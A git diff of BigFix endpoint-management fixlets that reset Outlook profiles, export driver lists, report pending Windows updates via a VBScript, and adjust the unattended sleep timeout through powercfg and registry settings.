+waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM OUTLOOK.EXE
+waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM lync.exe
+waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM SkypeHost.exe
+waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM Teams.exe
+waithidden &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\BES Support\taskkill.exe&quot; /F /T /IM OneDrive.exe
+
+dos reg delete &quot;HKEY_USERS\{component string of sid of security account (name of logged on user)}\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles&quot; /f
+dos reg delete &quot;HKEY_USERS\{component string of sid of security account (name of logged on user)}\Software\Microsoft\Office\16.0\Outlook\Profiles&quot; /f
+
+folder delete &quot;C:\Users\{name of logged on user}\AppData\Local\Microsoft\Outlook&quot;</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Output Drivers using Driverquery - Windows (6060).bes b/Sites/Windows Management/Fixlets/Fixlets/Output Drivers using Driverquery - Windows (6060).bes
index 823dce41f..39719ee1b 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Output Drivers using Driverquery - Windows (6060).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Output Drivers using Driverquery - Windows (6060).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Output Drivers using Driverquery - Windows
-  ID       : 6060
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-12T11:58:47
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Output Drivers using Driverquery - Windows</Title>
-    <Description><![CDATA[<P>This task will dump the details of the installed windows drivers to log files, which can be reported on using relevance.</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>not exists files whose(name of it as lowercase starts with &quot;info_driverquery_&quot; AND name of it as lowercase ends with &quot;.csv&quot;) of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2014-03-28</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 12 May 2015 18:58:07 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-// delete "{pathname of client folder}\__BESData\__Global\Logs\driverquery.csv"
-dos driverquery /V /fo CSV > "{pathname of folders "Logs" of folders "__Global" of ( (if (exists properties whose(it as string starts with "data folder of " AND it as string contains "client")) then (data folder of client) else NULL)|(folder "/var/opt/BESClient/__BESData")|(folder "/Library/Application Support/BigFix/BES Agent/__BESData")|(folder "__BESData" of parent folder of client) )}\info_driverquery_verbose.csv"
-dos driverquery /SI /fo CSV > "{pathname of folders "Logs" of folders "__Global" of ( (if (exists properties whose(it as string starts with "data folder of " AND it as string contains "client")) then (data folder of client) else NULL)|(folder "/var/opt/BESClient/__BESData")|(folder "/Library/Application Support/BigFix/BES Agent/__BESData")|(folder "__BESData" of parent folder of client) )}\info_driverquery_signed.csv"
-]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Output Drivers using Driverquery - Windows
+  ID       : 6060
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-12T11:58:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Output Drivers using Driverquery - Windows</Title>
+    <Description><![CDATA[<P>This task will dump the details of the installed windows drivers to log files, which can be reported on using relevance.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>not exists files whose(name of it as lowercase starts with &quot;info_driverquery_&quot; AND name of it as lowercase ends with &quot;.csv&quot;) of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-03-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 12 May 2015 18:58:07 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// delete "{pathname of client folder}\__BESData\__Global\Logs\driverquery.csv"
+dos driverquery /V /fo CSV > "{pathname of folders "Logs" of folders "__Global" of ( (if (exists properties whose(it as string starts with "data folder of " AND it as string contains "client")) then (data folder of client) else NULL)|(folder "/var/opt/BESClient/__BESData")|(folder "/Library/Application Support/BigFix/BES Agent/__BESData")|(folder "__BESData" of parent folder of client) )}\info_driverquery_verbose.csv"
+dos driverquery /SI /fo CSV > "{pathname of folders "Logs" of folders "__Global" of ( (if (exists properties whose(it as string starts with "data folder of " AND it as string contains "client")) then (data folder of client) else NULL)|(folder "/var/opt/BESClient/__BESData")|(folder "/Library/Application Support/BigFix/BES Agent/__BESData")|(folder "__BESData" of parent folder of client) )}\info_driverquery_signed.csv"
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Output Windows Update Results - Windows (23123).bes b/Sites/Windows Management/Fixlets/Fixlets/Output Windows Update Results - Windows (23123).bes
index b7094aa4c..dfbda7235 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Output Windows Update Results - Windows (23123).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Output Windows Update Results - Windows (23123).bes	
@@ -1,103 +1,103 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Output Windows Update Results - Windows
-  ID       : 23123
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-12-23T15:39:35
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Output Windows Update Results - Windows</Title>
-    <Description><![CDATA[<P>read results with this analysis: <A href="https://github.com/jgstew/bigfix-content/blob/master/analyses/Windows%20Update%20check%20results%20-%20Windows.bes">https://github.com/jgstew/bigfix-content/blob/master/analyses/Windows%20Update%20check%20results%20-%20Windows.bes</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists files "results_WindowsUpdates.ini" whose(now - modification time of it < 7*day AND exists lines containing "Hidden=" of it) of folders "Logs" of folders "__Global" of data folders of client]]></Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2016-12-21</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 23 Dec 2016 23:36:10 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-// https://github.com/jgstew/tools/blob/master/VBS/WUA_Search.vbs
-delete __createfile
-createfile until _END_OF_FILE_
-
-' This script determines what updates are applicable on a Windows machine using the WUA api.
-' Usage: cscript WUA_Search.vbs //Nologo > WindowsUpdates.ini
-' Source: https://msdn.microsoft.com/en-us/library/windows/desktop/aa387102(v=vs.85).aspx
-' Modifications by @jgstew in 2016 - Public Domain
-
-' It is possible to do this "offline": https://msdn.microsoft.com/en-us/library/windows/desktop/aa387290(v=vs.85).aspx
-
-Set updateSession = CreateObject("Microsoft.Update.Session")
-updateSession.ClientApplicationID = "Check for Windows Updates"
-
-Set updateSearcher = updateSession.CreateUpdateSearcher()
-
-' Method: https://msdn.microsoft.com/en-us/library/windows/desktop/aa386526(v=vs.85).aspx
-Set searchResult = updateSearcher.Search("IsInstalled=0")
-' also works as a single line: Set searchResult = CreateObject("Microsoft.Update.Session").CreateUpdateSearcher().Search("IsInstalled=0")
-
-WScript.Echo "[Windows Updates]" & vbCRLF & "Number= " & searchResult.Updates.Count
-
-numHidden   = 0
-numSoftware = 0
-numDriver   = 0
-
-For I = 0 To searchResult.Updates.Count-1
-' IUpdate interface: https://msdn.microsoft.com/en-us/library/windows/desktop/aa386099(v=vs.85).aspx
-    Set update = searchResult.Updates.Item(I)
-
-    ' Update Type Enum: https://msdn.microsoft.com/en-us/library/windows/desktop/aa387284(v=vs.85).aspx
-    updateTypeStr = "Unknown"
-    If 1=update.Type Then
-        updateTypeStr = "Software"
-        numSoftware   = numSoftware + 1
-    ElseIf 2=update.Type Then
-        updateTypeStr = "Driver"
-        numDriver     = numDriver + 1
-    End If
-
-    WScript.Echo updateTypeStr & I + 1 & "= " & update.Title
-
-    If update.IsHidden Then
-        numHidden = numHidden + 1
-    End If
-Next
-
-WScript.Echo "Hidden= " & numHidden
-WScript.Echo "Software= " & numSoftware
-WScript.Echo "Driver= " & numDriver
-
-' Related:
-'     - https://thwack.solarwinds.com/community/application-and-server_tht/patchzone/blog/2012/10/05/how-the-windows-update-agent-determines-the-status-of-an-update
-'     - https://bigfix.me/fixlet/details/23096
-'     - https://github.com/jgstew/bigfix-content/blob/master/fixlet/Output%20Windows%20Update%20Results%20-%20Windows.bes
-
-_END_OF_FILE_
-
-delete "{ download path "WUA_Search.vbs" }"
-move __createfile "{ download path "WUA_Search.vbs" }"
-
-waithidden cmd /c cscript __Download\WUA_Search.vbs //Nologo > __Download\results_WindowsUpdates.ini
-
-delete "{pathnames of folders "__Global\Logs" of data folders of client}\results_WindowsUpdates.ini"
-move __Download\results_WindowsUpdates.ini "{pathnames of folders "__Global\Logs" of data folders of client}\results_WindowsUpdates.ini"
-]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Output Windows Update Results - Windows
+  ID       : 23123
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-12-23T15:39:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Output Windows Update Results - Windows</Title>
+    <Description><![CDATA[<P>read results with this analysis: <A href="https://github.com/jgstew/bigfix-content/blob/master/analyses/Windows%20Update%20check%20results%20-%20Windows.bes">https://github.com/jgstew/bigfix-content/blob/master/analyses/Windows%20Update%20check%20results%20-%20Windows.bes</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists files "results_WindowsUpdates.ini" whose(now - modification time of it < 7*day AND exists lines containing "Hidden=" of it) of folders "Logs" of folders "__Global" of data folders of client]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2016-12-21</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 23 Dec 2016 23:36:10 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// https://github.com/jgstew/tools/blob/master/VBS/WUA_Search.vbs
+delete __createfile
+createfile until _END_OF_FILE_
+
+' This script determines what updates are applicable on a Windows machine using the WUA api.
+' Usage: cscript WUA_Search.vbs //Nologo > WindowsUpdates.ini
+' Source: https://msdn.microsoft.com/en-us/library/windows/desktop/aa387102(v=vs.85).aspx
+' Modifications by @jgstew in 2016 - Public Domain
+
+' It is possible to do this "offline": https://msdn.microsoft.com/en-us/library/windows/desktop/aa387290(v=vs.85).aspx
+
+Set updateSession = CreateObject("Microsoft.Update.Session")
+updateSession.ClientApplicationID = "Check for Windows Updates"
+
+Set updateSearcher = updateSession.CreateUpdateSearcher()
+
+' Method: https://msdn.microsoft.com/en-us/library/windows/desktop/aa386526(v=vs.85).aspx
+Set searchResult = updateSearcher.Search("IsInstalled=0")
+' also works as a single line: Set searchResult = CreateObject("Microsoft.Update.Session").CreateUpdateSearcher().Search("IsInstalled=0")
+
+WScript.Echo "[Windows Updates]" & vbCRLF & "Number= " & searchResult.Updates.Count
+
+numHidden   = 0
+numSoftware = 0
+numDriver   = 0
+
+For I = 0 To searchResult.Updates.Count-1
+' IUpdate interface: https://msdn.microsoft.com/en-us/library/windows/desktop/aa386099(v=vs.85).aspx
+    Set update = searchResult.Updates.Item(I)
+
+    ' Update Type Enum: https://msdn.microsoft.com/en-us/library/windows/desktop/aa387284(v=vs.85).aspx
+    updateTypeStr = "Unknown"
+    If 1=update.Type Then
+        updateTypeStr = "Software"
+        numSoftware   = numSoftware + 1
+    ElseIf 2=update.Type Then
+        updateTypeStr = "Driver"
+        numDriver     = numDriver + 1
+    End If
+
+    WScript.Echo updateTypeStr & I + 1 & "= " & update.Title
+
+    If update.IsHidden Then
+        numHidden = numHidden + 1
+    End If
+Next
+
+WScript.Echo "Hidden= " & numHidden
+WScript.Echo "Software= " & numSoftware
+WScript.Echo "Driver= " & numDriver
+
+' Related:
+'     - https://thwack.solarwinds.com/community/application-and-server_tht/patchzone/blog/2012/10/05/how-the-windows-update-agent-determines-the-status-of-an-update
+'     - https://bigfix.me/fixlet/details/23096
+'     - https://github.com/jgstew/bigfix-content/blob/master/fixlet/Output%20Windows%20Update%20Results%20-%20Windows.bes
+
+_END_OF_FILE_
+
+delete "{ download path "WUA_Search.vbs" }"
+move __createfile "{ download path "WUA_Search.vbs" }"
+
+waithidden cmd /c cscript __Download\WUA_Search.vbs //Nologo > __Download\results_WindowsUpdates.ini
+
+delete "{pathnames of folders "__Global\Logs" of data folders of client}\results_WindowsUpdates.ini"
+move __Download\results_WindowsUpdates.ini "{pathnames of folders "__Global\Logs" of data folders of client}\results_WindowsUpdates.ini"
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7 (312).bes b/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7 (312).bes
index 0bf522b52..2f1be54d5 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7 (312).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7 (312).bes	
@@ -1,51 +1,51 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : PC Narcolepsy: Set System Unattended Sleep Timeout - Windows Vista/7
-  ID       : 312
-  Author   : besSupport
-  Domain   : BESC
-  Imported : 2012-10-17T13:14:47
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>PC Narcolepsy: Set System Unattended Sleep Timeout - Windows Vista/7</Title>
-    <Description><![CDATA[
-<TABLE><TBODY><TR><TD> <P>By default, systems on standby that are&nbsp;woken by&nbsp;a Wake-on-LAN or Wake-from-Standby event will go back to sleep in two minutes if the system does not receive any user input. This may cause a condition called "PC Narcolepsy" where the computer will fall back asleep before tasks can be run on that system.</P> <P>Use this Fixlet to configure the amount of time&nbsp;the system will stay&nbsp;awake after recieving a&nbsp;Wake-on-LAN or Wake-from-Standby event on Windows Vista and Windows 7 systems. This setting is called the "System Unattended Sleep Timeout".</P> <P><STRONG>Note:</STRONG> This task only changes the System Unattended Sleep Timeout setting on the current power profile. If the power profile is changed, this task may need to be reapplied.</P></TD></TR></TBODY></TABLE>
-]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>(it = &quot;WinVista&quot; OR it = &quot;Win7&quot;) of name of operating system</Relevance>
-    <Relevance><![CDATA[version of client >= "7.2"]]></Relevance>
-    <Category>Standby Behavior</Category>
-    <Source>BigFix</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2010-08-13</SourceReleaseDate>
-    <SourceSeverity>N/A</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 12 May 2012 00:55:27 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Thu, 17 Nov 2011 19:28:18 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-domain_attributes</Name>
-      <Value>Manage_Standby_Behavior</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action508">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to change the System Unattended Sleep Timeout setting on the current power profile. You will be prompted for the number of minutes.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "inputMinutes" with description "System Unattended Sleep Timeout, in minutes (Default: 2, Min: 2, Max: 1440)"
-continue if {parameter "inputMinutes" of action as integer >= 2 AND parameter "inputMinutes" of action as integer <= 1440}
-waithidden "{pathname of system folder & "\powercfg.exe"}" -SETACVALUEINDEX {value "ActivePowerScheme" of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes" of registry as string} {"238c9fa8-0aad-41ed-83f4-97be242c8f20 7bc4a2f9-d8fc-4469-b07b-33eb785aaca0"} {parameter "inputMinutes" of action as integer * 60}
-waithidden "{pathname of system folder & "\powercfg.exe"}" -SETDCVALUEINDEX {value "ActivePowerScheme" of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes" of registry as string} {"238c9fa8-0aad-41ed-83f4-97be242c8f20 7bc4a2f9-d8fc-4469-b07b-33eb785aaca0"} {parameter "inputMinutes" of action as integer * 60}]]></ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : PC Narcolepsy: Set System Unattended Sleep Timeout - Windows Vista/7
+  ID       : 312
+  Author   : besSupport
+  Domain   : BESC
+  Imported : 2012-10-17T13:14:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>PC Narcolepsy: Set System Unattended Sleep Timeout - Windows Vista/7</Title>
+    <Description><![CDATA[
+<TABLE><TBODY><TR><TD> <P>By default, systems on standby that are&nbsp;woken by&nbsp;a Wake-on-LAN or Wake-from-Standby event will go back to sleep in two minutes if the system does not receive any user input. This may cause a condition called "PC Narcolepsy" where the computer will fall back asleep before tasks can be run on that system.</P> <P>Use this Fixlet to configure the amount of time&nbsp;the system will stay&nbsp;awake after recieving a&nbsp;Wake-on-LAN or Wake-from-Standby event on Windows Vista and Windows 7 systems. This setting is called the "System Unattended Sleep Timeout".</P> <P><STRONG>Note:</STRONG> This task only changes the System Unattended Sleep Timeout setting on the current power profile. If the power profile is changed, this task may need to be reapplied.</P></TD></TR></TBODY></TABLE>
+]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>(it = &quot;WinVista&quot; OR it = &quot;Win7&quot;) of name of operating system</Relevance>
+    <Relevance><![CDATA[version of client >= "7.2"]]></Relevance>
+    <Category>Standby Behavior</Category>
+    <Source>BigFix</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2010-08-13</SourceReleaseDate>
+    <SourceSeverity>N/A</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 12 May 2012 00:55:27 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 17 Nov 2011 19:28:18 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-domain_attributes</Name>
+      <Value>Manage_Standby_Behavior</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action508">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to change the System Unattended Sleep Timeout setting on the current power profile. You will be prompted for the number of minutes.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "inputMinutes" with description "System Unattended Sleep Timeout, in minutes (Default: 2, Min: 2, Max: 1440)"
+continue if {parameter "inputMinutes" of action as integer >= 2 AND parameter "inputMinutes" of action as integer <= 1440}
+waithidden "{pathname of system folder & "\powercfg.exe"}" -SETACVALUEINDEX {value "ActivePowerScheme" of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes" of registry as string} {"238c9fa8-0aad-41ed-83f4-97be242c8f20 7bc4a2f9-d8fc-4469-b07b-33eb785aaca0"} {parameter "inputMinutes" of action as integer * 60}
+waithidden "{pathname of system folder & "\powercfg.exe"}" -SETDCVALUEINDEX {value "ActivePowerScheme" of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes" of registry as string} {"238c9fa8-0aad-41ed-83f4-97be242c8f20 7bc4a2f9-d8fc-4469-b07b-33eb785aaca0"} {parameter "inputMinutes" of action as integer * 60}]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7_8 - altered to set defaults to 35min - testing (1419).bes b/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7_8 - altered to set defaults to 35min - testing (1419).bes
index d3b6a4bca..b2fc9ef15 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7_8 - altered to set defaults to 35min - testing (1419).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/PC Narcolepsy_ Set System Unattended Sleep Timeout - Windows Vista_7_8 - altered to set defaults to 35min - testing (1419).bes	
@@ -1,68 +1,68 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : PC Narcolepsy: Set System Unattended Sleep Timeout - Windows Vista/7/8 - altered to set defaults to 35min - testing
-  ID       : 1419
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-03-21T10:30:43
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>PC Narcolepsy: Set System Unattended Sleep Timeout - Windows Vista/7/8 - altered to set defaults to 35min - testing</Title>
-    <Description><![CDATA[<TABLE>
-<TBODY>
-<TR>
-<TD>
-<P>By default, systems on standby that are&nbsp;woken by&nbsp;a Wake-on-LAN or Wake-from-Standby event will go back to sleep in two minutes if the system does not receive any user input. This may cause a condition called "PC Narcolepsy" where the computer will fall back asleep before tasks can be run on that system.</P>
-<P>Use this Fixlet to configure the amount of time&nbsp;the system will stay&nbsp;awake after recieving a&nbsp;Wake-on-LAN or Wake-from-Standby event on Windows Vista, 7 and 8 systems. This setting is called the "System Unattended Sleep Timeout".</P>
-<P><STRONG>Note:</STRONG> This task only changes the System Unattended Sleep Timeout setting on the current power profile. If the power profile is changed, this task may need to be reapplied.</P></TD></TR></TBODY></TABLE>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else true) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>(it = &quot;WinVista&quot; OR it = &quot;Win7&quot; OR it = &quot;Win8&quot;) of name of operating system</Relevance>
-    <Relevance>exists keys whose(exists values &quot;AcSettingIndex&quot; of it AND (35*60) != value &quot;AcSettingIndex&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues&quot; of native registry</Relevance>
-    <Category>Standby Behavior</Category>
-    <Source>jgs194</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2010-08-13</SourceReleaseDate>
-    <SourceSeverity>N/A</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Tue, 29 Mar 2011 23:24:21 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-domain_attributes</Name>
-      <Value>Manage_Standby_Behavior</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 21 Mar 2013 15:32:32 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action1664">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to change the System Unattended Sleep Timeout setting on the current power profile. You will be prompted for the number of minutes.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// 35*60 represents waiting 35min because the setting is in number of seconds.
-// This must be the same as in the relevance.
-parameter "secToWaitAfterWakeUpUnattended" = "{(35*60) as string}"
-parameter "numOfValuesToChange" = "{number of values "AcSettingIndex" of keys whose(exists values "AcSettingIndex" of it AND (parameter "secToWaitAfterWakeUpUnattended" of action as integer) != value "AcSettingIndex" of it) of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues" of native registry}"
-// sanity check, must be between 2 and 1440 min. The setting is often 0 for servers since they never sleep.
-continue if {parameter "secToWaitAfterWakeUpUnattended" of action as integer >= (2*60) AND parameter "secToWaitAfterWakeUpUnattended" of action as integer <= (1440*60)}
-//set for balanced
-//regset64 "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues\381b4222-f694-41f0-9685-ff5bb260df2e]" "AcSettingIndex"=dword:{parameter "secToWaitAfterWakeUpUnattended" of action as integer as hexadecimal}
-//set for high performance
-//regset64 "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0\DefaultPowerSchemeValues\8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c]" "AcSettingIndex"=dword:{parameter "secToWaitAfterWakeUpUnattended" of action as integer as hexadecimal}
-//set for power saver
